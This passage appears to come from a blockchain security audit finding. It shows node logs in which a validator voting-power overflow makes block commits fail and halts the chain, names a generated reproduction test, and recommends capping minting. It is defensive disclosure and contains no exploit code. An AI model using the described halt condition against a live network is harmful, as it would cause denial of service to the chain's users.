4:20PM INF executed block height=3 module=state num_invalid_txs=0
num_valid_txs=1 server=node
4:20PM ERR failed to apply block err="commit failed for application:
error changing validator set: to prevent clipping/overflow, voting power
can't be higher than 1152921504606846975, got 9223372036854775807"
height=3 module=consensus server=node
4:20PM INF Timed out dur=3000 height=3 module=consensus round=0 server=node step=3
4:20PM INF Transactions per second tps=0.2
4:20PM ERR Error on broadcastTxCommit err="timed out waiting for tx to
be included in a block" module=rpc server=node
4:20PM INF Transactions per second tps=0.1
4:20PM INF Transactions per second tps=0.1
4:20PM INF Transactions per second tps=0.1
...
```

This issue can be reproduced with the generated e2e test called `test09-halt.sh`.

The tests were produced with Apalache (invariant `NoDelegateHalt`) and `atomkraft4`.

Recommendation

Stop minting coins, if the coin mass reaches the limit.